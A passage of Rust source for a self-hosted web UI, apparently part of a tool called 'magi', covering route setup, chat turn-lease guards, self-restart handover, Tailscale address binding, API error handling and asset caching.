1796            .route("/api/talks/{id}/live", get(talk_live))
1797            .route("/api/talks/{id}/stop", post(talk_stop))
1798            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1799            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1800            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1801            .route("/api/talks/{id}/agent", post(talk_agent))
1802            .route("/api/talks/{id}/persona", post(talk_persona))
1803            .route("/api/talks/{id}/implementers", post(talk_implementers))
1804            .route("/api/talks/{id}/close", post(talk_close))
1805            .route("/api/talks/{id}/reopen", post(talk_reopen))
1806            // `DefaultBodyLimit` is raised only on this one route - every
1807            // other route on this server answers in a few kilobytes, and
1808            // widening the crate-wide default for all of them just because
1809            // one accepts a picture would let any other handler be handed
1810            // a multi-megabyte body it never expects.
1811            .route(
1812                "/api/talks/{id}/attachments",
1813                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1814            )
1815            .route(
1816                "/api/talks/{id}/attachments/{att}",
1817                get(talk_attachment_get),
1818            )
1819            .route("/api/talks/{id}/avatar", get(talk_avatar))
1820            .route("/avatars/operator.svg", get(operator_avatar))
1821            .route(
1822                "/api/avatar-settings",
1823                get(avatar_settings_get)
1824                    .put(avatar_settings_put)
1825                    .delete(avatar_settings_delete),
1826            )
1827            .route("/avatars/persona", get(settings_persona_avatar))
1828            .route("/avatars/magi", get(magi_avatar))
1829            .route(
1830                "/api/magi-icon",
1831                get(magi_icon_get)
1832                    .put(magi_icon_put)
1833                    .delete(magi_icon_delete),
1834            )
1835            .route("/api/events", get(events))
1836            .with_state(self)
1837    }
1838}
1839
1840/// One talk's turn slot, released on drop.
1841///
1842/// A guard rather than a matching `remove` at the end of the handler, because
1843/// the handler has several early returns and one `await` that can be cancelled
1844/// out from under it. A leaked id is a talk nobody can talk to again.
1845#[derive(Debug)]
1846struct TalkTurnGuard {
1847    talk: String,
1848    turns: Arc<Mutex<TalkTurns>>,
1849    released: bool,
1850    /// The cross-process half of the slot; dropped with the guard.
1851    lease: Option<crate::talk::TurnLease>,
1852}
1853
1854/// In-memory turn ownership plus the queue generation observed by a drainer.
1855///
1856/// The generation changes only after a durable queued draft is written and its
1857/// caller finds the turn busy. That lets the loop run filesystem work outside
1858/// this mutex while still making the final empty-check/release atomic with a
1859/// concurrent queue handoff.
1860#[derive(Debug, Default)]
1861struct TalkTurns {
1862    live: HashSet<String>,
1863    queued: HashMap<String, u64>,
1864}
1865
1866/// The atomic initial-state decision made by
1867/// [`Ui::begin_talk_turn_unless_pending`].
1868enum TalkTurnStart {
1869    Claimed(TalkTurnGuard),
1870    Busy,
1871    /// Another process holds the turn lease. Unlike `Busy` there is no local
1872    /// drain loop that would answer a queued draft, so the caller refuses.
1873    Foreign,
1874    Pending,
1875}
1876
1877impl TalkTurnGuard {
1878    #[cfg(test)]
1879    /// Does this guard still own the on-disk lease? A transient failure to
1880    /// check counts as owning: the next beat decides. A guard that lost it
1881    /// must not start another turn on the same session.
1882    fn owns(&self) -> bool {
1883        self.lease
1884            .as_ref()
1885            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1886    }
1887
1888    #[cfg(test)]
1889    /// `talk::respond_at` while renewing the on-disk lease, so a turn longer
1890    /// than the lease's TTL still reads as held to other processes.
1891    async fn respond_at(
1892        &self,
1893        talk: &mut Talk,
1894        talks: &Talks,
1895        cfg: &Config,
1896        text: &str,
1897        submitted_input: Option<usize>,
1898    ) -> anyhow::Result<()> {
1899        let lease = self
1900            .lease
1901            .as_ref()
1902            .context("the turn guard no longer holds its lease")?;
1903        talk::respond_at(lease, talk, talks, cfg, text, submitted_input).await
1904    }
1905
1906    /// Release while the caller already holds the claim mutex, closing the
1907    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1908    fn release(mut self, live: &mut TalkTurns) {
1909        // The on-disk lease goes first: while `live` still names the talk, no
1910        // local claim can start, so nobody observes the slot free but the
1911        // lease held.
1912        self.lease = None;
1913        live.live.remove(&self.talk);
1914        live.queued.remove(&self.talk);
1915        self.released = true;
1916    }
1917}
1918
1919impl Drop for TalkTurnGuard {
1920    fn drop(&mut self) {
1921        if self.released {
1922            return;
1923        }
1924        // Lease first, then the in-process slot (see `release`).
1925        drop(self.lease.take());
1926        if let Ok(mut live) = self.turns.lock() {
1927            live.live.remove(&self.talk);
1928            live.queued.remove(&self.talk);
1929        }
1930    }
1931}
1932
1933/// Releases a resume claim, so a run is resumable again after the attempt.
1934struct ResumeGuard {
1935    run: String,
1936    resuming: Arc<Mutex<HashSet<String>>>,
1937}
1938
1939impl Drop for ResumeGuard {
1940    fn drop(&mut self) {
1941        if let Ok(mut live) = self.resuming.lock() {
1942            live.remove(&self.run);
1943        }
1944    }
1945}
1946
1947/// Bind the port, waiting briefly for a predecessor to let go of it.
1948///
1949/// A restart hands the address from one process to the next, and the old one
1950/// holds its listener until it unwinds. A single `bind` can lose that race,
1951/// and for a restart triggered from a phone that means the deck never comes
1952/// back with no terminal around to say why.
1953///
1954/// Bounded, and only for the one error a wait can fix: anything else fails at
1955/// once, because retrying it would turn a clear message into a silence.
1956async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1957    const WINDOW: Duration = Duration::from_secs(10);
1958    const GAP: Duration = Duration::from_millis(250);
1959
1960    let deadline = std::time::Instant::now() + WINDOW;
1961    let mut said = false;
1962    loop {
1963        match tokio::net::TcpListener::bind(socket).await {
1964            Ok(listener) => return Ok(listener),
1965            Err(e)
1966                if e.kind() == std::io::ErrorKind::AddrInUse
1967                    && std::time::Instant::now() < deadline =>
1968            {
1969                if !said {
1970                    said = true;
1971                    tracing::info!(
1972                        "{socket} is still held - waiting up to {}s for it, \
1973                         which is what a restart looks like from here",
1974                        WINDOW.as_secs()
1975                    );
1976                }
1977                tokio::time::sleep(GAP).await;
1978            }
1979            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1980        }
1981    }
1982}
1983
1984/// Signalled when an upgrade has replaced the binary and the successor should
1985/// take this address over. One per process: there is one address to hand on.
1986static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1987
1988/// Set to `1` on the successor when the loop was running at handover.
1989const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1990/// Keep a dynamically assigned listener address stable across replacement.
1991const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1992
1993/// Whether the environment value asks for the loop to be resumed.
1994fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1995    value.is_some_and(|v| v == "1")
1996}
1997
1998/// Start this binary again with the same arguments, detached.
1999///
2000/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
2001/// so the address is already free when the successor binds it. The first
2002/// attempt at this spawned the successor two hundred milliseconds before
2003/// exiting instead, and the released binary - which has no bind retry - died
2004/// on "address already in use" with its stdio sent to null, so the deck
2005/// simply never came back.
2006///
2007/// Detached and without inherited stdio: the successor has to outlive this
2008/// process, and must not hold open a pipe a terminal is waiting on.
2009///
2010/// The scheduler is restarted separately; execution workers are not awaited.
2011///
2012/// The successor's stdout and stderr are appended to `<home>/web.log` rather
2013/// than sent to null: a supervisor's redirection only ever held the first
2014/// generation's descriptors, so every later generation logged nowhere. The
2015/// pid of the child is returned so the handover log can name it.
2016fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
2017    let args: Vec<String> = std::env::args().skip(1).collect();
2018    updater::log_step(
2019        home,
2020        &format!("restarting: {} {}", exe.display(), args.join(" ")),
2021    );
2022    let log_path = home.join(WEB_LOG);
2023    let open_log = || {
2024        std::fs::create_dir_all(home)?;
2025        std::fs::OpenOptions::new()
2026            .create(true)
2027            .append(true)
2028            .open(&log_path)
2029    };
2030    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
2031        Ok(pair) => (
2032            std::process::Stdio::from(pair.0),
2033            std::process::Stdio::from(pair.1),
2034        ),
2035        Err(e) => {
2036            updater::log_warn(
2037                home,
2038                &format!(
2039                    "could not open {}: {e}; the successor logs nowhere",
2040                    log_path.display()
2041                ),
2042            );
2043            (std::process::Stdio::null(), std::process::Stdio::null())
2044        }
2045    };
2046
2047    let mut cmd = std::process::Command::new(exe);
2048    cmd.env_remove(RESUME_LOOP_ENV);
2049    cmd.env(RESTART_PORT_ENV, port.to_string());
2050    cmd.args(&args)
2051        .stdin(std::process::Stdio::null())
2052        .stdout(out)
2053        .stderr(err);
2054    #[cfg(windows)]
2055    {
2056        use std::os::windows::process::CommandExt as _;
2057        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
2058        // and Ctrl-C in the old terminal must not reach the successor.
2059        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
2060    }
2061    let child = cmd.spawn().context("start the successor")?;
2062    Ok(child.id())
2063}
2064
2065/// File under `<home>` the successor's output is appended to.
2066const WEB_LOG: &str = "web.log";
2067
2068/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
2069/// stored by an earlier `notify_one` is consumed by the first poll, so the
2070/// signal is never missed and never wakes a second time.
2071async fn wait_for_handover(signal: &Notify) {
2072    signal.notified().await;
2073}
2074
2075/// Serve the UI independently from scheduler and execution workers.
2076/// A restart releases its listener before starting the successor.
2077pub async fn serve(opts: Opts) -> Result<()> {
2078    // Capture before self-replacement: current_exe may later name a removed
2079    // image on Linux or the renamed old image on Windows.
2080    crate::worker::remember_current_executable()?;
2081    let executable = std::env::current_exe().context("find the installed web executable")?;
2082    let (addr, warning) = resolve_bind(&opts.bind);
2083    if let Some(warning) = warning {
2084        tracing::warn!("{warning}");
2085    }
2086
2087    // Process-global, and therefore set exactly once, here: the report route
2088    // must never emit escape sequences into a browser, and toggling the flag
2089    // per request would race with a concurrent request rendering its own
2090    // report. Startup is the only moment at which no request can observe the
2091    // change. Nothing in the server turns colour back on.
2092    report::set_color(false);
2093
2094    let repo = normalize_default_repo(opts.repo).await;
2095    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
2096    // The listener and periodic checker share one upgrade gate and state.
2097    let home = ui.home.clone();
2098    let admissions = Arc::clone(&ui.admissions);
2099    // Settles a progress record a predecessor left non-terminal - either this
2100    // *is* the successor `spawn_successor` started, or the previous process
2101    // died mid-handover. Before the router starts answering, so the very
2102    // first `/api/health` a phone gets from this process already reflects it.
2103    updater::reconcile_after_restart(&home);
2104    updater::log_step(
2105        &home,
2106        &format!(
2107            "web process started (version {}); handover log {}, successor output {}",
2108            env!("CARGO_PKG_VERSION"),
2109            updater::log_path(&home).display(),
2110            home.join(WEB_LOG).display()
2111        ),
2112    );
2113    updater::spawn_watchdog(home.clone());
2114    // `magi web` can stay up for days, and the one-time check `main.rs`'s
2115    // `spawn_update_check` does at startup only ever runs once: after that,
2116    // `/api/health`'s `update` field - and the phone's "Update & restart"
2117    // button, which reads the very same cache - would stay frozen on
2118    // whatever that single check found, no matter how many releases ship
2119    // afterwards. The periodic checker below keeps it current and is
2120    // cancelled when the listener finishes.
2121    let port = if opts.port == 0 {
2122        std::env::var(RESTART_PORT_ENV)
2123            .ok()
2124            .and_then(|value| value.parse::<u16>().ok())
2125            .filter(|port| *port != 0)
2126            .unwrap_or(0)
2127    } else {
2128        opts.port
2129    };
2130    let socket = SocketAddr::new(addr, port);
2131    let listener = bind_waiting(socket).await?;
2132    let bound = listener.local_addr().context("read bound web address")?;
2133    let port = bound.port();
2134    let url = format!("http://{bound}");
2135    tracing::info!(
2136        "magi web UI on {url} - there is no authentication, so anyone who can \
2137         reach this address can file and hold tasks: the tailnet is the \
2138         security boundary"
2139    );
2140    // A legacy predecessor may request first-migration scheduler startup.
2141    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2142        ui.start_detached_loop()
2143            .await
2144            .map_err(|e| anyhow::anyhow!(e.message))?;
2145    }
2146    if opts.open {
2147        // The URL alone on stdout, for a caller that wants to open it. magi
2148        // does not spawn a browser: on the machine this usually runs on there
2149        // is no display, and a failed launch would be the only output.
2150        println!("{url}");
2151    }
2152
2153    // On its own task, so nothing this function awaits can stop the address
2154    // being answered. `hand_over` is where it is given up.
2155    let recheck_ui = ui.clone();
2156    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2157    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2158    let interrupted = async {
2159        if tokio::signal::ctrl_c().await.is_err() {
2160            // No handler on this platform, so there is no signal to act on.
2161            // Never resolving is the safe answer: a failed registration must
2162            // not masquerade as the operator asking for a shutdown and take
2163            // the UI down on startup.
2164            std::future::pending::<()>().await;
2165        }
2166    };
2167    let handover = wait_for_handover(&HANDOVER);
2168    let outcome = tokio::select! {
2169        joined = &mut served => match joined {
2170            Ok(outcome) => outcome.context("serve the web UI"),
2171            Err(e) => Err(e).context("the task serving the web UI ended"),
2172        },
2173        () = interrupted => {
2174            recheck.abort();
2175            tracing::info!("shutting down the web UI; detached workers continue");
2176            close_admissions(&admissions).await;
2177            served.abort();
2178            let _ = served.await;
2179            Ok(())
2180        }
2181        () = handover => {
2182            recheck.abort();
2183            let successor_home = home.clone();
2184            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2185        }
2186    };
2187    recheck.abort();
2188    let _ = recheck.await;
2189    updater::log_step(
2190        &home,
2191        &match &outcome {
2192            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2193            Err(e) => format!("serve: returning an error: {e:#}"),
2194        },
2195    );
2196    outcome
2197}
2198
2199/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2200/// process's own working directory is not a git checkout at all - the
2201/// checkout [`repos::discover_verified`] finds instead.
2202///
2203/// Only the unmodified default is ever replaced: an operator who named a
2204/// directory outright, git checkout or not, gets exactly that directory
2205/// back, and the same story downstream (a talk whose briefing embeds a
2206/// non-git directory, and an agent that has to ask the operator where the
2207/// real repository is) that has always told them so - substituting a guess
2208/// for an explicit answer would be a second, silent opinion about what they
2209/// meant. There is no instruction or task text yet to match against this
2210/// early, so only [`repos::discover_verified`]'s own-repository tier can
2211/// ever settle this - the hint tier never fires here.
2212///
2213/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2214/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2215/// or a git installation that is broken in exactly the way that made the
2216/// original `canonical` check above fail too - so it is re-checked with
2217/// `git::toplevel` before it is ever used in place of the operator's own
2218/// directory.
2219async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2220    if repo != FsPath::new(".") {
2221        return repo;
2222    }
2223    let Ok(canonical) = repo.canonicalize() else {
2224        return repo;
2225    };
2226    if git::toplevel(&canonical).await.is_ok() {
2227        return repo;
2228    }
2229    let Some(home) = dirs::home_dir() else {
2230        return repo;
2231    };
2232    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2233        Some(found) => {
2234            tracing::info!(
2235                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2236                canonical.display(),
2237                found.path.display(),
2238                found.reason,
2239            );
2240            found.path
2241        }
2242        None => repo,
2243    }
2244}
2245
2246/// Close new ingress and finish only transactions publishing durable work.
2247/// The writer waits for owned admission guards, not task or chat turn leases.
2248async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2249    *admissions.write().await = true;
2250}
2251
2252/// Restart only the scheduler and web listener, never their execution workers.
2253/// The old listener must be fully released before the successor is started.
2254async fn hand_over(
2255    home: &FsPath,
2256    admissions: &tokio::sync::RwLock<bool>,
2257    served: tokio::task::JoinHandle<std::io::Result<()>>,
2258    successor: impl FnOnce() -> Result<u32>,
2259) -> Result<()> {
2260    close_admissions(admissions).await;
2261    if let Some(mut progress) = updater::read_progress(home) {
2262        progress.advance(updater::Stage::Restarting);
2263        progress.detail =
2264            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2265        updater::write_progress_logged(home, &progress);
2266    }
2267    updater::log_step(
2268        home,
2269        "restarting scheduler without parking execution workers",
2270    );
2271    let scheduler = daemon::restart_detached(home).await;
2272    if let Err(error) = &scheduler {
2273        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2274        updater::log_warn(
2275            home,
2276            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2277        );
2278    }
2279    updater::log_step(home, "releasing the web listener");
2280    served.abort();
2281    let _ = served.await;
2282    updater::log_step(home, "web listener released; starting the successor");
2283    match successor() {
2284        Ok(pid) => {
2285            updater::log_step(home, &format!("successor started, pid {pid}"));
2286            scheduler
2287        }
2288        Err(e) => {
2289            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2290            Err(e)
2291        }
2292    }
2293}
2294
2295/// Resolve `--bind` to an address, plus a warning when the answer is not what
2296/// the operator asked for.
2297///
2298/// Split out from [`serve`] because the interesting half - deciding whether
2299/// Tailscale gave us something usable - is testable without opening a socket.
2300pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2301    match bind {
2302        Bind::Addr(addr) => (*addr, None),
2303        Bind::Auto => match tailscale_ip() {
2304            Ok(ip) => (IpAddr::V4(ip), None),
2305            Err(why) => (
2306                IpAddr::V4(Ipv4Addr::LOCALHOST),
2307                Some(format!(
2308                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2309                     local-only and a phone cannot reach it; start Tailscale \
2310                     or pass --bind <addr>"
2311                )),
2312            ),
2313        },
2314    }
2315}
2316
2317/// This machine's Tailscale IPv4, or why there is not one.
2318///
2319/// `tailscale ip -4` is a local call against the running daemon and returns in
2320/// milliseconds, so it is fine to make it synchronously before the server
2321/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2322/// CGNAT block Tailscale assigns from, and anything else on that output would
2323/// be a different tool answering.
2324fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2325    let out = std::process::Command::new("tailscale")
2326        .args(["ip", "-4"])
2327        .quiet()
2328        .output()
2329        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2330    if !out.status.success() {
2331        let why = String::from_utf8_lossy(&out.stderr);
2332        let why = why.trim();
2333        return Err(format!(
2334            "`tailscale ip -4` failed ({}){}",
2335            out.status,
2336            if why.is_empty() {
2337                String::new()
2338            } else {
2339                format!(": {why}")
2340            }
2341        ));
2342    }
2343    String::from_utf8_lossy(&out.stdout)
2344        .lines()
2345        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2346        .find(is_tailnet)
2347        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2348}
2349
2350/// Is this address in the CGNAT block Tailscale hands out from?
2351fn is_tailnet(ip: &Ipv4Addr) -> bool {
2352    let o = ip.octets();
2353    o[0] == 100 && (64..=127).contains(&o[1])
2354}
2355
2356/// What every handler returns. Spelled out because `Result` in this crate is
2357/// `anyhow::Result`, and a handler's error is a status code as much as a
2358/// message.
2359type ApiResult<T> = std::result::Result<T, ApiError>;
2360
2361/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2362#[derive(Debug)]
2363struct ApiError {
2364    status: StatusCode,
2365    message: String,
2366    text_reason: Option<crate::question_delivery::UnavailableReason>,
2367}
2368
2369impl ApiError {
2370    /// The client asked for something malformed.
2371    fn bad_request(message: impl Into<String>) -> Self {
2372        Self {
2373            text_reason: None,
2374            status: StatusCode::BAD_REQUEST,
2375            message: message.into(),
2376        }
2377    }
2378
2379    /// No such run or task.
2380    fn not_found(message: impl Into<String>) -> Self {
2381        Self {
2382            text_reason: None,
2383            status: StatusCode::NOT_FOUND,
2384            message: message.into(),
2385        }
2386    }
2387
2388    /// Someone else owns the thing the client wants to change.
2389    /// Re-badge an error whose default mapping is wrong for this route.
2390    fn with_status(mut self, status: StatusCode) -> Self {
2391        self.status = status;
2392        self
2393    }
2394
2395    /// A rules violation from a domain type, reported as the caller's fault.
2396    /// `Question::answer` rejects an unoffered choice, and that is a bad
2397    /// request, not a server error.
2398    fn bad_request_from(e: anyhow::Error) -> Self {
2399        Self::bad_request(format!("{e:#}"))
2400    }
2401
2402    fn completion(e: anyhow::Error) -> Self {
2403        if e.is::<crate::queue::CompletionSnapshotChanged>() {
2404            Self::conflict(format!("{e:#}"))
2405        } else {
2406            Self::bad_request_from(e)
2407        }
2408    }
2409
2410    fn conflict(message: impl Into<String>) -> Self {
2411        Self {
2412            text_reason: None,
2413            status: StatusCode::CONFLICT,
2414            message: message.into(),
2415        }
2416    }
2417
2418    /// Our fault, or the disk's.
2419    fn internal(message: impl Into<String>) -> Self {
2420        Self {
2421            text_reason: None,
2422            status: StatusCode::INTERNAL_SERVER_ERROR,
2423            message: message.into(),
2424        }
2425    }
2426}
2427
2428impl From<anyhow::Error> for ApiError {
2429    /// Errors from `queue` and `run` carry their context chain, and the whole
2430    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2431    /// value at line 3" is a message an operator can act on, and there is no
2432    /// secret in a path on a single-user tailnet.
2433    fn from(e: anyhow::Error) -> Self {
2434        Self::internal(format!("{e:#}"))
2435    }
2436}
2437
2438impl IntoResponse for ApiError {
2439    fn into_response(self) -> Response {
2440        let mut body = serde_json::json!({ "error": self.message });
2441        if let Some(reason) = self.text_reason {
2442            body["code"] = serde_json::json!("question_text_unavailable");
2443            body["reason"] = serde_json::json!(reason);
2444        }
2445        (self.status, Json(body)).into_response()
2446    }
2447}
2448
2449/// Run a handler's filesystem work off the executor.
2450///
2451/// Every route that touches the disk goes through here rather than each one
2452/// arguing about whether its own read is small enough. Uniform because the
2453/// expensive case is not rare: `run.json` for a finished competition holds
2454/// every judgement, deliberation turn and review round, so listing a few
2455/// hundred runs is megabytes of parsing, and the executor threads doing it are
2456/// the same ones serving the change stream of every other connected phone.
2457async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2458where
2459    T: Send + 'static,
2460{
2461    #[cfg(test)]
2462    let job = request_cost::carry(job);
2463    match tokio::task::spawn_blocking(job).await {
2464        Ok(result) => result,
2465        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2466    }
2467}
2468
2469/// Bulk readers have a bounded, separate execution lane. A cold health
2470/// index or multiple slow list clients cannot occupy the pool serving detail.
2471async fn bulk_blocking<T>(
2472    slots: Arc<tokio::sync::Semaphore>,
2473    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2474) -> ApiResult<T>
2475where
2476    T: Send + 'static,
2477{
2478    let permit = slots
2479        .acquire_owned()
2480        .await
2481        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2482    let (send, receive) = tokio::sync::oneshot::channel();
2483    #[cfg(test)]
2484    let job = request_cost::carry(job);
2485    let runtime = tokio::runtime::Handle::current();
2486    std::thread::Builder::new()
2487        .name("web-bulk".into())
2488        .spawn(move || {
2489            let _permit = permit;
2490            // Capacity observations schedule their independent blocking job.
2491            let _runtime = runtime.enter();
2492            let _ = send.send(job());
2493        })
2494        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2495    receive
2496        .await
2497        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2498}
2499
2500/// Cache policy for the three compiled-in front-end files.
2501///
2502/// The whole interface is `include_str!`ed into the binary, so its content
2503/// changes only when the binary does - and a phone that keeps a copy is
2504/// welcome to, right up until the deck is replaced. Without a single cache
2505/// header, browsers were free to invent their own policy, and one did:
2506/// yukimemi's phone went on showing "Candidates must be folded before
2507/// deleting. Run `magi fold` first." - a sentence deleted two releases
2508/// earlier - from a run detail served by a deck that no longer contained it.
2509/// The delete button he was told about was right there, and unreachable.
2510///
2511/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2512/// every time, the answer is a 304 costing one small round trip while the
2513/// deck is unchanged, and the moment it is replaced the tag differs and the
2514/// new interface arrives. Correctness over bytes - this is one file of a few
2515/// tens of kilobytes on a tailnet, and being a version behind is not a
2516/// cosmetic problem when the difference is whether a button exists.
2517const ASSET_CACHE: &str = "no-cache, must-revalidate";
2518
2519/// `ETag` for the compiled-in assets, distinct per build.
2520///
2521/// The version alone would leave a locally built deck - `cargo install
2522/// --path .` twice at the same version, which is the normal way to iterate -
2523/// serving a stale tag for changed bytes. The build timestamp is what makes
2524/// two builds of `0.3.0` differ.
2525fn asset_etag() -> &'static str {
2526    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2527        format!(
2528            "\"{}-{}\"",
2529            env!("CARGO_PKG_VERSION"),
2530            // Length is a cheap, deterministic stand-in for a hash: the
2531            // three files are compiled in together, so any edit to any of
2532            // them almost certainly changes the total, and a rebuild is what
2533            // this needs to track rather than every possible byte pattern.
2534            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2535        )
2536    });
2537    &TAG
2538}
2539
2540/// Headers for a compiled-in asset of `mime`.
2541fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2542    [
2543        (header::CONTENT_TYPE, mime),
2544        (header::CACHE_CONTROL, ASSET_CACHE),
2545        (header::ETAG, asset_etag()),
2546    ]
2547}
2548
2549/// Serve a compiled-in asset, answering `304` when the client already has it.
2550///
2551/// axum does not compare `If-None-Match` for us, and a header the server sets
2552/// but never honours is worse than none: the phone revalidates on every load
2553/// and is handed the whole file back each time. Doing the comparison is what
2554/// makes `must-revalidate` cost one small round trip rather than the
2555/// interface.
2556fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2557    let tag = asset_etag();
2558    let known = headers
2559        .get(header::IF_NONE_MATCH)
2560        .and_then(|v| v.to_str().ok())
2561        // A revalidating client may send several, and a proxy may weaken the
2562        // tag to `W/"..."`; matching on containment covers both without
2563        // parsing the grammar.
2564        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2565    if known {
2566        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2567    }
2568    (asset_headers(mime), body).into_response()
2569}
2570
2571async fn index(headers: header::HeaderMap) -> Response {
2572    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2573}
2574
2575async fn app_css(headers: header::HeaderMap) -> Response {
2576    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2577}
2578
2579async fn app_js(headers: header::HeaderMap) -> Response {
2580    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2581}
2582
2583/// What `/api/health` answers.
2584#[derive(Debug, Serialize)]
2585struct HealthView {
2586    version: &'static str,
2587    home: String,
2588    queue_rev: u64,
2589    runs_rev: u64,
2590    /// The same revisions [`events`] streams for the question and talk
2591    /// stores.
2592    ///
2593    /// Here because this route is what the front end falls back to when the
2594    /// change stream is not up - it re-polls health on a timer and on wake, and
2595    /// takes the revisions from the answer. Without these the fallback
2596    /// compares `undefined` against `undefined` for both stores, decides
2597    /// nothing moved, and a phone with a dead stream never learns that a
2598    /// question was asked or that a talk took a turn. `queue_rev` and
2599    /// `runs_rev` above have always been here for exactly this reason; the rule
2600    /// is that every revision the stream carries, this route carries too.
2601    questions_rev: u64,
2602    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2603    talks_rev: u64,
2604    /// See [`HealthView::questions_rev`]. The notification centre's store.
2605    notifications_rev: u64,
2606    /// Notifications nobody has read yet: the bell's badge before
2607    /// `/api/notifications` has answered.
2608    notifications_unread: usize,
2609    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2610    /// is not on disk anywhere, so a phone with no change stream has no other
2611    /// way to notice that the loop it is waiting on was started from another
2612    /// device.
2613    loop_rev: u64,
2614    /// Runs on disk whose state this build cannot parse - almost always a
2615    /// schema bump, occasionally a run killed mid-write.
2616    ///
2617    /// Reported because the list silently skips them, and "no competitions
2618    /// yet" is a lie when six of them are sitting in the runs directory. The
2619    /// terminal deck learned the same lesson: a run that fails to parse must
2620    /// not disappear from the count.
2621    runs_unreadable: usize,
2622    /// The disk, and what the runs and their worktrees occupy on it.
2623    ///
2624    /// This is the incident the janitor exists for: magi alone put 30 GB into
2625    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2626    /// is exactly where the operator learns "the disk is the constraint" -
2627    /// the diagnosis that a run is being held for want of space has to be
2628    /// checkable on the same screen.
2629    disk: Option<serde_json::Value>,
2630    /// Questions nobody has answered yet, including ones an owner talked
2631    /// back on and is now waiting for the agent's reply to. A round trip
2632    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2633    /// while the ball is in the agent's court - see
2634    /// [`crate::ask::Questions::count_open`].
2635    questions_open: usize,
2636    /// Of those, how many actually need the owner right now: open, and not
2637    /// [`crate::ask::Question::waiting_on_agent`].
2638    ///
2639    /// The one number that means "nothing will happen until a human acts" -
2640    /// a parked run consumes nothing and progresses never - and the count the
2641    /// ask bar, the nav badge and the document title fall back to before
2642    /// `/api/questions` has answered, so those notification channels clear
2643    /// the instant the owner asks back and reappear the instant the agent
2644    /// replies, instead of sitting lit for however long the agent thinks.
2645    questions_needs_owner: usize,
2646    daemon: DaemonView,
2647    /// The independently controllable scheduler, as `/api/loop` reports it.
2648    ///
2649    /// Here so a phone that has just woken needs one request to know whether
2650    /// anything is going to happen at all: `daemon` says a loop is alive
2651    /// somewhere, and this says whether it is one this UI can stop.
2652    #[serde(rename = "loop")]
2653    looping: LoopView,
2654    /// Whether a release newer than this build is known, and which.
2655    ///
2656    /// From [`updater::Checker::cached_update`] - the same throttled state the
2657    /// CLI's `notify` mode banners from - never a live check: this route is
2658    /// polled every few seconds, and a live check on each poll would spend
2659    /// GitHub's rate limit before the operator finished reading the strip.
2660    update: UpdateView,
2661    /// The self-upgrade this deck last set in motion, or `null` before the
2662    /// first one. Read off disk, so the successor can report what its
2663    /// predecessor started.
2664    upgrade: Option<UpgradeProgressView>,
2665    /// Detached jobs survive replacement of this web process. Each reports
